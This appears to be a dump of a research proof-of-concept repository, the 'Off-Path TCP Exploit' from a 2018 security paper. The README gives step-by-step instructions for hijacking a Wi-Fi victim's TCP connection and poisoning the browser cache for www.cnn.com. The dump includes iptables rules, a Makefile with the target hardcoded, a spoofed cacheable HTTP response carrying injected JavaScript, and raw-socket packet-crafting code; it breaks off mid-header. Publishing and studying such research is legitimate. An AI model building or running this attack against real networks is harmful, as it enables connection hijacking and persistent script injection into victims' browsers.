├── .gitignore ├── LICENSE ├── README.md ├── client └── src │ ├── google-script.js │ ├── index.html │ ├── pacman.js │ ├── pacman10-hp-sprite-2.png │ ├── pacman10-hp-sprite.png │ └── pacman10-hp.png └── server ├── iptables.sh └── src ├── Makefile ├── build.sh ├── callback.txt ├── hping2.c ├── hping2.h ├── http.txt ├── main.c ├── packet.h ├── parse.c ├── parse.h ├── sendtcp.c ├── server.c ├── server.h └── websocket ├── Makefile ├── base64.c ├── base64.h ├── main.c ├── sha1.c ├── sha1.h ├── websocket.c └── websocket.h /.gitignore: -------------------------------------------------------------------------------- 1 | #os file 2 | .DS_Store 3 | 4 | #compile file 5 | *.o 6 | 7 | #output 8 | server/src/server 9 | server/src/websocket/websocket 10 | 11 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, and 10 | distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by the copyright 13 | owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all other entities 16 | that control, are controlled by, or are under common control with that entity. 17 | For the purposes of this definition, "control" means (i) the power, direct or 18 | indirect, to cause the direction or management of such entity, whether by 19 | contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the 20 | outstanding shares, or (iii) beneficial ownership of such entity. 21 | 22 | "You" (or "Your") shall mean an individual or Legal Entity exercising 23 | permissions granted by this License. 24 | 25 | "Source" form shall mean the preferred form for making modifications, including 26 | but not limited to software source code, documentation source, and configuration 27 | files. 28 | 29 | "Object" form shall mean any form resulting from mechanical transformation or 30 | translation of a Source form, including but not limited to compiled object code, 31 | generated documentation, and conversions to other media types. 32 | 33 | "Work" shall mean the work of authorship, whether in Source or Object form, made 34 | available under the License, as indicated by a copyright notice that is included 35 | in or attached to the work (an example is provided in the Appendix below). 36 | 37 | "Derivative Works" shall mean any work, whether in Source or Object form, that 38 | is based on (or derived from) the Work and for which the editorial revisions, 39 | annotations, elaborations, or other modifications represent, as a whole, an 40 | original work of authorship. For the purposes of this License, Derivative Works 41 | shall not include works that remain separable from, or merely link (or bind by 42 | name) to the interfaces of, the Work and Derivative Works thereof. 43 | 44 | "Contribution" shall mean any work of authorship, including the original version 45 | of the Work and any modifications or additions to that Work or Derivative Works 46 | thereof, that is intentionally submitted to Licensor for inclusion in the Work 47 | by the copyright owner or by an individual or Legal Entity authorized to submit 48 | on behalf of the copyright owner. For the purposes of this definition, 49 | "submitted" means any form of electronic, verbal, or written communication sent 50 | to the Licensor or its representatives, including but not limited to 51 | communication on electronic mailing lists, source code control systems, and 52 | issue tracking systems that are managed by, or on behalf of, the Licensor for 53 | the purpose of discussing and improving the Work, but excluding communication 54 | that is conspicuously marked or otherwise designated in writing by the copyright 55 | owner as "Not a Contribution." 56 | 57 | "Contributor" shall mean Licensor and any individual or Legal Entity on behalf 58 | of whom a Contribution has been received by Licensor and subsequently 59 | incorporated within the Work. 60 | 61 | 2. Grant of Copyright License. 62 | 63 | Subject to the terms and conditions of this License, each Contributor hereby 64 | grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, 65 | irrevocable copyright license to reproduce, prepare Derivative Works of, 66 | publicly display, publicly perform, sublicense, and distribute the Work and such 67 | Derivative Works in Source or Object form. 68 | 69 | 3. Grant of Patent License. 70 | 71 | Subject to the terms and conditions of this License, each Contributor hereby 72 | grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, 73 | irrevocable (except as stated in this section) patent license to make, have 74 | made, use, offer to sell, sell, import, and otherwise transfer the Work, where 75 | such license applies only to those patent claims licensable by such Contributor 76 | that are necessarily infringed by their Contribution(s) alone or by combination 77 | of their Contribution(s) with the Work to which such Contribution(s) was 78 | submitted. If You institute patent litigation against any entity (including a 79 | cross-claim or counterclaim in a lawsuit) alleging that the Work or a 80 | Contribution incorporated within the Work constitutes direct or contributory 81 | patent infringement, then any patent licenses granted to You under this License 82 | for that Work shall terminate as of the date such litigation is filed. 83 | 84 | 4. Redistribution. 85 | 86 | You may reproduce and distribute copies of the Work or Derivative Works thereof 87 | in any medium, with or without modifications, and in Source or Object form, 88 | provided that You meet the following conditions: 89 | 90 | You must give any other recipients of the Work or Derivative Works a copy of 91 | this License; and 92 | You must cause any modified files to carry prominent notices stating that You 93 | changed the files; and 94 | You must retain, in the Source form of any Derivative Works that You distribute, 95 | all copyright, patent, trademark, and attribution notices from the Source form 96 | of the Work, excluding those notices that do not pertain to any part of the 97 | Derivative Works; and 98 | If the Work includes a "NOTICE" text file as part of its distribution, then any 99 | Derivative Works that You distribute must include a readable copy of the 100 | attribution notices contained within such NOTICE file, excluding those notices 101 | that do not pertain to any part of the Derivative Works, in at least one of the 102 | following places: within a NOTICE text file distributed as part of the 103 | Derivative Works; within the Source form or documentation, if provided along 104 | with the Derivative Works; or, within a display generated by the Derivative 105 | Works, if and wherever such third-party notices normally appear. The contents of 106 | the NOTICE file are for informational purposes only and do not modify the 107 | License. You may add Your own attribution notices within Derivative Works that 108 | You distribute, alongside or as an addendum to the NOTICE text from the Work, 109 | provided that such additional attribution notices cannot be construed as 110 | modifying the License. 111 | You may add Your own copyright statement to Your modifications and may provide 112 | additional or different license terms and conditions for use, reproduction, or 113 | distribution of Your modifications, or for any such Derivative Works as a whole, 114 | provided Your use, reproduction, and distribution of the Work otherwise complies 115 | with the conditions stated in this License. 116 | 117 | 5. Submission of Contributions. 118 | 119 | Unless You explicitly state otherwise, any Contribution intentionally submitted 120 | for inclusion in the Work by You to the Licensor shall be under the terms and 121 | conditions of this License, without any additional terms or conditions. 122 | Notwithstanding the above, nothing herein shall supersede or modify the terms of 123 | any separate license agreement you may have executed with Licensor regarding 124 | such Contributions. 125 | 126 | 6. Trademarks. 127 | 128 | This License does not grant permission to use the trade names, trademarks, 129 | service marks, or product names of the Licensor, except as required for 130 | reasonable and customary use in describing the origin of the Work and 131 | reproducing the content of the NOTICE file. 132 | 133 | 7. Disclaimer of Warranty. 134 | 135 | Unless required by applicable law or agreed to in writing, Licensor provides the 136 | Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, 137 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, 138 | including, without limitation, any warranties or conditions of TITLE, 139 | NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are 140 | solely responsible for determining the appropriateness of using or 141 | redistributing the Work and assume any risks associated with Your exercise of 142 | permissions under this License. 143 | 144 | 8. Limitation of Liability. 145 | 146 | In no event and under no legal theory, whether in tort (including negligence), 147 | contract, or otherwise, unless required by applicable law (such as deliberate 148 | and grossly negligent acts) or agreed to in writing, shall any Contributor be 149 | liable to You for damages, including any direct, indirect, special, incidental, 150 | or consequential damages of any character arising as a result of this License or 151 | out of the use or inability to use the Work (including but not limited to 152 | damages for loss of goodwill, work stoppage, computer failure or malfunction, or 153 | any and all other commercial damages or losses), even if such Contributor has 154 | been advised of the possibility of such damages. 155 | 156 | 9. Accepting Warranty or Additional Liability. 157 | 158 | While redistributing the Work or Derivative Works thereof, You may choose to 159 | offer, and charge a fee for, acceptance of support, warranty, indemnity, or 160 | other liability obligations and/or rights consistent with this License. However, 161 | in accepting such obligations, You may act only on Your own behalf and on Your 162 | sole responsibility, not on behalf of any other Contributor, and only if You 163 | agree to indemnify, defend, and hold each Contributor harmless for any liability 164 | incurred by, or claims asserted against, such Contributor by reason of your 165 | accepting any such warranty or additional liability. 166 | 167 | END OF TERMS AND CONDITIONS 168 | 169 | APPENDIX: How to apply the Apache License to your work 170 | 171 | To apply the Apache License to your work, attach the following boilerplate 172 | notice, with the fields enclosed by brackets "{}" replaced with your own 173 | identifying information. (Don't include the brackets!) The text should be 174 | enclosed in the appropriate comment syntax for the file format. We also 175 | recommend that a file or class name and description of purpose be included on 176 | the same "printed page" as the copyright notice for easier identification within 177 | third-party archives. 178 | 179 | Copyright 2017 CwT0 180 | 181 | Licensed under the Apache License, Version 2.0 (the "License"); 182 | you may not use this file except in compliance with the License. 183 | You may obtain a copy of the License at 184 | 185 | http://www.apache.org/licenses/LICENSE-2.0 186 | 187 | Unless required by applicable law or agreed to in writing, software 188 | distributed under the License is distributed on an "AS IS" BASIS, 189 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 190 | See the License for the specific language governing permissions and 191 | limitations under the License. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Off-Path TCP Exploit 2 | 3 | We discover a subtle yet serious timing side channel that exists in all generations of IEEE 802.11 or Wi-Fi technology, due to the fact that they are half-duplex. By exploiting the vulnerability, we are able to constrcut reliable and practical off-path TCP injection attacks against the laterst versions of all three major operating systems (macOS, Windows, and Linux). Our attac only requires a devicce connected to the Internet via a wireless router, and be reachable from an attack server. The thread model is that a user is lured to visit a malicious website first and then the puppet (i.e., a malicious javascript) running in a browser collaborates with an off-path adversary to hijack a TCP connection between the client and server for the prupose of injecting a spurious HTTP response that will be cached in the browser. Later on, when the victim accesses to the server, the browser would load the cached object (e.g., a script) rather than request it again. Notice that the victim connection is established and preserved by the puppet who repeatedly includes HTML elements (e.g, images). See [web-cache poisoning atttacks](https://people.eecs.berkeley.edu/~yahel/papers/Browser-Cache-Poisoning.Song.Spring10.attack-project.pdf) for more background. 4 | 5 | ## Supported Platforms 6 | Each branch is maintained for ONE OS. Currently, you're on the branch for Windows. 7 | 8 | #### \*\*[Windows](https://github.com/seclab-ucr/tcp_exploit) (Current Branch) 9 | 10 | [MacOS](https://github.com/seclab-ucr/tcp_exploit/tree/release_mac/) 11 | 12 | ## How to build 13 | 1.1 sudo apt-get install libnetfilter-queue-dev 14 | 15 | 1.2 cd tcp_exploit/server/src 16 | 17 | 1.3 sh build.sh 18 | 19 | ## Notice 20 | 21 | You have to adjust some IP addresses in the source code as follows: Change the IP address of the attacker's machine at line 242 in the file `tcp_exploit/client/index.html`. 22 | 23 | The attack needs to know the exact size of the response to the request "http://www.cnn.com/SPECIALS/map.economy/images/jamie.smith.irpt.tn.jpg". However, the size varies on different machines due to HTTP headers embedded in the response. In the paper, we proposed a solution to automatically determine the size, yet I just manually set the correct value (retrieved from the developer tools in Chrome) to it by adding an option `-DSEQ_DELTA=1638` in the file `tcp_exploit/server/Makefile`. You can also use Wireshark to obtain such information. 24 | 25 | During the attack's process, the TCP receive window size would grow as we keep requesting images. Based on the maximum window size that the client can achieve, you need to adjust the following at line 316 in the file `tcp_exploit/server/src/main.c`: 26 | `#define SEQ_WINDOW MAX_WINDOW_SIZE << 2` 27 | where MAX_WINDOW_SIZE is the maximum window size representing the available space at the receiver's side. 28 | 29 | ## Set up environment 30 | In order to set up the environment, we need one windows machine as the victim and one linux machine as the attacker. Our target website is `www.cnn.com`. 31 | 32 | Network Topology: 33 | 34 | Attacker -------wire----------| 35 | Router ---------wireless-------Victim (client) 36 | Server -------wire----------| 37 | 38 | On the attacker's machine, run the commands below: 39 | 40 | 2.1 cd tcp_exploit/server 41 | 42 | 2.2 sudo sh iptables.sh 43 | 44 | 2.3 cd tcp_exploit/server/src 45 | 46 | 2.4 sudo ./server 47 | 48 | 2.5 cd tcp_exploit/client/src 49 | 50 | 2.6 sudo python -m SimpleHTTPServer 80 (Alternatively, you can access to the malicious code (i.e., tcp_exploit/src/index.html) without setting up the HTTP server if you open the html file in browsers locally.) 51 | 52 | ## How to conduct experiment 53 | 3.1 Launch Chrome and then access to the malicious website (http://attacker's IP address or file:///Path_to_the_dir/tcp_exploit/client/src/index.html) 54 | 55 | 3.2 After the attack program finishes, you can access to the victim's website (i.e. www.cnn.com) to see whether the attack has successfully injected a page cached on the browser. 56 | 57 | ## Disclaimer 58 | This is a reasearch-oriented project. Anyone using it should be aware of the potential risks and responsible for his/her own actions. 59 | 60 | ## Reference 61 | ``` 62 | @inproceedings{chen2018off, 63 | title={Off-Path TCP Exploit: How Wireless Routers Can Jeopardize Your Secrets}, 64 | author={Chen, Weiteng and Qian, Zhiyun}, 65 | booktitle={27th USENIX Security Symposium (USENIX Security 18)}, 66 | year={2018}, 67 | organization={USENIX Association} 68 | } 69 | ``` 70 | -------------------------------------------------------------------------------- /client/src/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 16 | 17 | 18 |

Prepare To Get Wrecked

19 |
20 | 21 | 22 | 23 | 24 | 25 |
26 |
27 | 32 | 33 | 80 |
81 |
82 | 94 | 95 | 96 | 97 | 282 | 283 | -------------------------------------------------------------------------------- /client/src/pacman10-hp-sprite-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/seclab-ucr/tcp_exploit/2895bdf169a2ba1c5517d8a9f900147b9c776f85/client/src/pacman10-hp-sprite-2.png -------------------------------------------------------------------------------- /client/src/pacman10-hp-sprite.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/seclab-ucr/tcp_exploit/2895bdf169a2ba1c5517d8a9f900147b9c776f85/client/src/pacman10-hp-sprite.png -------------------------------------------------------------------------------- /client/src/pacman10-hp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/seclab-ucr/tcp_exploit/2895bdf169a2ba1c5517d8a9f900147b9c776f85/client/src/pacman10-hp.png -------------------------------------------------------------------------------- /server/iptables.sh: -------------------------------------------------------------------------------- 1 | iptables -A INPUT -p tcp --dport 30006 --tcp-flags SYN SYN -j NFQUEUE --queue-num 80 2 | iptables -A INPUT -p tcp --dport 30006 --tcp-flags ACK ACK -j NFQUEUE --queue-num 80 3 | # iptables -A INPUT -p tcp --dport 80 --tcp-flags SYN SYN -j NFQUEUE --queue-num 80 4 | # iptables -A INPUT -p tcp --dport 80 --tcp-flags ACK ACK -j NFQUEUE --queue-num 80 5 | -------------------------------------------------------------------------------- /server/src/Makefile: -------------------------------------------------------------------------------- 1 | LIBS = -lnfnetlink -lnetfilter_queue -lpthread -lrt 2 | SRC = main.c \ 3 | server.c \ 4 | sendtcp.c \ 5 | hping2.c \ 6 | parse.c \ 7 | websocket/websocket.c \ 8 | websocket/base64.c \ 9 | websocket/sha1.c \ 10 | 11 | 12 | HEADER = -I/usr/include 13 | CXXFLAGS = -Wall -O2 -DWEBSOCKET -DMYPORT=30006 -DSERVER_HOST="\"www.cnn.com\"" -DSOCKETS_NUM=1 -DAUTO_ADJUST \ 14 | -DDEBUG -DSEQ_DELTA=1638 15 | OBJS = $(SRC:%.c=%.o) 16 | CC = g++ 17 | all: $(OBJS) 18 | $(CC) -o server $^ $(CXXFLAGS) $(HEADER) $(LIBS) 19 | main.o: main.c server.h hping2.h parse.h websocket/websocket.h 20 | $(CC) $(CXXFLAGS) -c $< -o $@ 21 | server.o: server.c server.h websocket/websocket.h 22 | $(CC) $(CXXFLAGS) -c $< -o $@ 23 | sendtcp.o: sendtcp.c hping2.h 24 | $(CC) $(CXXFLAGS) -c $< -o $@ 25 | hping2.o: hping2.c hping2.h 26 | $(CC) $(CXXFLAGS) -c $< -o $@ 27 | parse.o: parse.c parse.h packet.h 28 | $(CC) $(CXXFLAGS) -c $< -o $@ 29 | clean: 30 | rm -f *.o 31 | rm -f websocket/*.o 32 | -------------------------------------------------------------------------------- /server/src/build.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | make clean 3 | pushd websocket 4 | make 5 | popd 6 | make 7 | 8 | -------------------------------------------------------------------------------- /server/src/callback.txt: -------------------------------------------------------------------------------- 1 | HTTP/1.1 200 OK 2 | Cache-Control: public, max-age=31536000 3 | Content-Length: 28 4 | Content-Type: text/javascript 5 | 6 | websocket.send("ffffffff"); 7 | -------------------------------------------------------------------------------- /server/src/hping2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "hping2.h" 8 | 9 | /* globals */ 10 | unsigned int 11 | tcp_th_flags = 0, 12 | linkhdr_size, /* physical layer header size */ 13 | ip_tos = 0, 14 | set_seqnum = FALSE, 15 | tcp_seqnum = FALSE, 16 | set_ack, 17 | h_if_mtu, 18 | virtual_mtu = DEFAULT_VIRTUAL_MTU, 19 | ip_frag_offset = 0, 20 | signlen, 21 | lsr_length = 0, 22 | ssr_length = 0, 23 | tcp_ack; 24 | 25 | 26 | unsigned short int 27 | data_size = 0; 28 | 29 | float 30 | rtt_min = 0, 31 | rtt_max = 0, 32 | rtt_avg = 0; 33 | 34 | int 35 | sockpacket, 36 | sockraw, 37 | sent_pkt = 0, 38 | recv_pkt = 0, 39 | out_of_sequence_pkt = 0, 40 | sending_wait = DEFAULT_SENDINGWAIT, /* see DEFAULT_SENDINGWAIT */ 41 | opt_rawipmode = FALSE, 42 | opt_icmpmode = FALSE, 43 | opt_udpmode = FALSE, 44 | opt_scanmode = FALSE, 45 | opt_listenmode = FALSE, 46 | opt_waitinusec = FALSE, 47 | opt_numeric = FALSE, 48 | opt_gethost = TRUE, 49 | opt_quiet = FALSE, 50 | opt_relid = FALSE, 51 | opt_fragment = FALSE, 52 | opt_df = FALSE, 53 | opt_mf = FALSE, 54 | opt_debug = FALSE, 55 | opt_verbose = FALSE, 56 | opt_winid_order = FALSE, 57 | opt_keepstill = FALSE, 58 | opt_datafromfile= FALSE, 59 | opt_hexdump = FALSE, 60 | opt_contdump = FALSE, 61 | opt_sign = FALSE, 62 | opt_safe = FALSE, 63 | opt_end = FALSE, 64 | opt_traceroute = FALSE, 65 | opt_seqnum = FALSE, 66 | opt_incdport = FALSE, 67 | opt_force_incdport = FALSE, 68 | opt_icmptype = DEFAULT_ICMP_TYPE, 69 | opt_icmpcode = DEFAULT_ICMP_CODE, 70 | opt_rroute = FALSE, 71 | opt_tcpexitcode = FALSE, 72 | opt_badcksum = FALSE, 73 | opt_tr_keep_ttl = FALSE, 74 | opt_tcp_timestamp = FALSE, 75 | opt_tr_stop = FALSE, 76 | opt_tr_no_rtt = FALSE, 77 | opt_rand_dest = FALSE, 78 | opt_rand_source = FALSE, 79 | opt_lsrr = FALSE, 80 | opt_ssrr = FALSE, 81 | opt_cplt_rte = FALSE, 82 | tcp_exitcode = 0, 83 | src_ttl = DEFAULT_TTL, 84 | src_id = -1, /* random */ 85 | base_dst_port = DEFAULT_DPORT, 86 | dst_port = DEFAULT_DPORT, 87 | src_port, 88 | sequence = 0, 89 | initsport = DEFAULT_INITSPORT, 90 | src_winsize = DEFAULT_SRCWINSIZE, 91 | src_thoff = (TCPHDR_SIZE >> 2), 92 | count = DEFAULT_COUNT, 93 | ctrlzbind = DEFAULT_BIND, 94 | delaytable_index= 0, 95 | eof_reached = FALSE, 96 | icmp_ip_version = DEFAULT_ICMP_IP_VERSION, 97 | icmp_ip_ihl = DEFAULT_ICMP_IP_IHL, 98 | icmp_ip_tos = DEFAULT_ICMP_IP_TOS, 99 | icmp_ip_tot_len = DEFAULT_ICMP_IP_TOT_LEN, 100 | icmp_ip_id = DEFAULT_ICMP_IP_ID, 101 | icmp_ip_protocol= DEFAULT_ICMP_IP_PROTOCOL, 102 | icmp_ip_srcport = DEFAULT_DPORT, 103 | icmp_ip_dstport = DEFAULT_DPORT, 104 | opt_force_icmp = FALSE, 105 | icmp_cksum = DEFAULT_ICMP_CKSUM, 106 | raw_ip_protocol = DEFAULT_RAW_IP_PROTOCOL; 107 | 108 | /* 109 | * * from R. Stevens's Network Programming 110 | * */ 111 | __u16 cksum(__u16 *buf, int nbytes) 112 | { 113 | __u32 sum; 114 | __u16 oddbyte; 115 | 116 | sum = 0; 117 | while (nbytes > 1) { 118 | sum += *buf++; 119 | nbytes -= 2; 120 | } 121 | 122 | if (nbytes == 1) { 123 | oddbyte = 0; 124 | *((__u16 *) &oddbyte) = *(__u16 *) buf; 125 | sum += (oddbyte & 0xff); 126 | } 127 | 128 | sum = (sum >> 16) + (sum & 0xffff); 129 | sum += (sum >> 16); 130 | 131 | /* return a bad checksum with --badcksum 132 | * option */ 133 | // if (opt_badcksum) sum ^= 0x5555; 134 | 135 | return (__u16) ~sum; 136 | } 137 | 138 | 139 | void data_handler(char *data, int data_size) 140 | { 141 | if (data_size == 0) 142 | return; /* there is not space left */ 143 | 144 | memset(data, 'X', data_size); 145 | } 146 | 147 | 148 | 149 | 150 | void send_ip_handler(int type, int ttl, char* srcIP, char* dstIP, char *packet, unsigned int size) 151 | { 152 | unsigned char ip_optlen = 0; 153 | char* ip_opt = NULL; 154 | 155 | unsigned short fragment_flag = 0; 156 | 157 | send_ip(type, ttl, srcIP, 158 | dstIP, 159 | packet, size, fragment_flag, ip_frag_offset, 160 | ip_opt, ip_optlen); 161 | } 162 | 163 | // type 0 TCP 164 | // type 1 UDP 165 | // type 2 ICMP 166 | void send_ip (int type, int ttl, char* src, char *dst, char *data, unsigned int datalen, 167 | int more_fragments, unsigned short fragoff, char *options, 168 | char optlen) 169 | { 170 | char *packet; 171 | int result, 172 | packetsize; 173 | struct myiphdr *ip; 174 | 175 | packetsize = IPHDR_SIZE + optlen + datalen; 176 | if ( (packet = (char*)malloc(packetsize)) == NULL) { 177 | perror("[send_ip] malloc()"); 178 | return; 179 | } 180 | 181 | memset(packet, 0, packetsize); 182 | ip = (struct myiphdr*) packet; 183 | 184 | struct sockaddr_in srcAddr; 185 | struct sockaddr_in dstAddr; 186 | srcAddr.sin_family = AF_INET; 187 | dstAddr.sin_family = AF_INET; 188 | // store this IP address in struct sockaddr_in: 189 | inet_pton(AF_INET, src, &(srcAddr.sin_addr)); 190 | inet_pton(AF_INET, dst, &(dstAddr.sin_addr)); 191 | 192 | /* copy src and dst address */ 193 | memcpy(&ip->saddr, (char*)&srcAddr.sin_addr, sizeof(ip->saddr)); 194 | memcpy(&ip->daddr, (char*)&dstAddr.sin_addr, sizeof(ip->daddr)); 195 | 196 | // memcpy(&ip->saddr, src, sizeof(ip->saddr)); 197 | // memcpy(&ip->daddr, dst, sizeof(ip->daddr)); 198 | 199 | /* build ip header */ 200 | ip->version = 4; 201 | ip->ihl = (IPHDR_SIZE + optlen + 3) >> 2; 202 | ip->tos = ip_tos; 203 | 204 | #if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI 205 | /* FreeBSD */ 206 | /* NetBSD */ 207 | ip->tot_len = packetsize; 208 | #else 209 | /* Linux */ 210 | /* OpenBSD */ 211 | ip->tot_len = htons(packetsize); 212 | #endif 213 | 214 | if (!opt_fragment) 215 | { 216 | ip->id = (src_id == -1) ? 217 | htons((unsigned short) rand()) : 218 | htons((unsigned short) src_id); 219 | } 220 | else /* if you need fragmentation id must not be randomic */ 221 | { 222 | /* FIXME: when frag. enabled sendip_handler 223 | * shold inc. ip->id */ 224 | /* for every frame sent */ 225 | ip->id = (src_id == -1) ? 226 | htons(getpid() & 255) : 227 | htons((unsigned short) src_id); 228 | } 229 | 230 | #if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD | defined OSTYPE_BSDI 231 | /* FreeBSD */ 232 | /* NetBSD */ 233 | ip->frag_off |= more_fragments; 234 | ip->frag_off |= fragoff >> 3; 235 | #else 236 | /* Linux */ 237 | /* OpenBSD */ 238 | ip->frag_off |= htons(more_fragments); 239 | ip->frag_off |= htons(fragoff >> 3); /* shift three flags bit */ 240 | #endif 241 | 242 | ip->ttl = ttl; 243 | if (type == 2) ip->protocol = 1; /* icmp */ 244 | else if (type == 1) ip->protocol = 17; /* udp */ 245 | else if (type == 0) ip->protocol = 6; /* tcp */ 246 | ip->check = 0; /* always computed by the kernel */ 247 | 248 | /* copies options */ 249 | if (options != NULL) 250 | memcpy(packet+IPHDR_SIZE, options, optlen); 251 | 252 | /* copies data */ 253 | memcpy(packet + IPHDR_SIZE + optlen, data, datalen); 254 | 255 | 256 | 257 | 258 | result = sendto(sockraw, packet, packetsize, 0, 259 | (struct sockaddr*)&dstAddr, sizeof(struct sockaddr)); 260 | 261 | if (result == -1 && errno != EINTR && !opt_rand_dest && !opt_rand_source) { 262 | perror("[send_ip] sendto"); 263 | if (close(sockraw) == -1) 264 | perror("[ipsender] close(sockraw)"); 265 | #if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) 266 | // if (close_pcap() == -1) 267 | // printf("[ipsender] close_pcap failed\n"); 268 | #else 269 | if (close_sockpacket(sockpacket) == -1) 270 | perror("[ipsender] close(sockpacket)"); 271 | #endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */ 272 | exit(1); 273 | } 274 | // printf("success\n"); 275 | 276 | free(packet); 277 | 278 | /* inc packet id for safe protocol */ 279 | if (opt_safe && !eof_reached) 280 | src_id++; 281 | } 282 | 283 | 284 | 285 | int open_sockraw() 286 | { 287 | int s; 288 | int optval = 1; 289 | 290 | s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); 291 | setsockopt(s, IPPROTO_TCP, TCP_NODELAY, &optval, sizeof optval); 292 | if (s == -1) { 293 | perror("[open_sockraw] socket()"); 294 | return -1; 295 | } 296 | 297 | return s; 298 | } 299 | 300 | 301 | 302 | 303 | 304 | static void enlarge_recvbuf(int fd) 305 | { 306 | int val = 131070; 307 | int len = sizeof(val); 308 | 309 | /* Don't check the error: non fatal */ 310 | setsockopt(fd, SOL_SOCKET, SO_RCVBUF, (const char *) &val, len); 311 | } 312 | 313 | int open_sockpacket(int portno) 314 | { 315 | int s; 316 | 317 | if (opt_debug) 318 | printf("DEBUG: Trying to open PF_PACKET socket... "); 319 | 320 | // s = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)); 321 | #define ETH_P_ALL 0x0003 322 | // s = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ALL)); 323 | s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); 324 | int tmp = 1; 325 | const int *val = &tmp; 326 | setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)); 327 | 328 | 329 | 330 | if (s == -1) { 331 | if (opt_debug) { 332 | printf("DEBUG: failed ( 2.0.x kernel? )\n"); 333 | printf("DEBUG: Trying to open SOCK_PACKET socket... "); 334 | } 335 | s = socket(AF_INET, SOCK_PACKET, htons(ETH_P_IP)); 336 | } 337 | 338 | if (s == -1) { 339 | perror("[open_sockpacket] socket()"); 340 | return -1; 341 | } 342 | enlarge_recvbuf(s); 343 | 344 | struct sockaddr_in serv_addr; 345 | bzero((char *) &serv_addr, sizeof(serv_addr)); 346 | serv_addr.sin_family = AF_INET; 347 | serv_addr.sin_addr.s_addr = INADDR_ANY; 348 | serv_addr.sin_port = htons(portno); 349 | /* if (bind(s, (struct sockaddr *) &serv_addr, 350 | sizeof(serv_addr)) < 0) 351 | { 352 | perror("ERROR on binding"); 353 | } 354 | */ 355 | 356 | if (opt_debug) 357 | printf("DEBUG: PF_PACKET, SOCK_RAW open OK\n"); 358 | 359 | return s; 360 | } 361 | 362 | int close_sockpacket(int s) 363 | { 364 | return close(s); 365 | } 366 | 367 | -------------------------------------------------------------------------------- /server/src/hping2.h: -------------------------------------------------------------------------------- 1 | /* 2 | * $smu-mark$ 3 | * $name: hping2.h$ 4 | * $author: Salvatore Sanfilippo $ 5 | * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ 6 | * $license: This software is under GPL version 2 of license$ 7 | * $date: Fri Nov 5 11:55:48 MET 1999$ 8 | * $rev: 9$ 9 | */ 10 | 11 | /* $Id: hping2.h,v 1.19 2003/08/07 23:55:55 antirez Exp $ */ 12 | 13 | #ifndef _HPING2_H 14 | #define _HPING2_H 15 | 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | //#include "byteorder.h" 23 | //#include "systype.h" 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | #ifdef __sun__ 34 | typedef char int_8_t; 35 | typedef unsigned char u_int8_t; 36 | typedef short int_16_t; 37 | typedef unsigned short u_int16_t; 38 | typedef int int_32_t; 39 | typedef unsigned int u_int32_t; 40 | #endif 41 | 42 | /* types */ 43 | #ifndef __u8 44 | #define __u8 u_int8_t 45 | #endif /* __u8 */ 46 | #ifndef __u16 47 | #define __u16 u_int16_t 48 | #endif /* __u16 */ 49 | #ifndef __u32 50 | #define __u32 u_int32_t 51 | #endif /* __u32 */ 52 | 53 | #ifndef __uint8_t 54 | #define __uint8_t u_int8_t 55 | #endif /* __uint8_t */ 56 | #ifndef __uint16_t 57 | #define __uint16_t u_int16_t 58 | #endif /* __uint16_t */ 59 | #ifndef __uint32_t 60 | #define __uint32_t u_int32_t 61 | #endif /* __uint32_t */ 62 | 63 | //#include "hcmp.h" /* Hping Control Message Protocol */ 64 | 65 | /* protocols header size */ 66 | #ifndef ICMPHDR_SIZE 67 | #define ICMPHDR_SIZE sizeof(struct myicmphdr) 68 | #endif 69 | #ifndef UDPHDR_SIZE 70 | #define UDPHDR_SIZE sizeof(struct myudphdr) 71 | #endif 72 | #ifndef TCPHDR_SIZE 73 | #define TCPHDR_SIZE sizeof(struct mytcphdr) 74 | #endif 75 | #ifndef IPHDR_SIZE 76 | #define IPHDR_SIZE sizeof(struct myiphdr) 77 | #endif 78 | 79 | /* wait X seconds after reached to sent packets in oreder to display replies */ 80 | #define COUNTREACHED_TIMEOUT 8 81 | 82 | /* requests status table stuffs */ 83 | /* Warning, TABLESIZE 0 == floating point exception */ 84 | #define TABLESIZE 400 85 | #define S_SENT 0 86 | #define S_RECV 1 87 | 88 | /* usefull defines */ 89 | #ifndef TRUE 90 | #define TRUE 1 91 | #define FALSE 0 92 | #endif 93 | #ifndef IFNAMSIZ 94 | #define IFNAMSIZ 16 95 | #endif 96 | #ifndef PF_PACKET 97 | #define PF_PACKET 17 /* 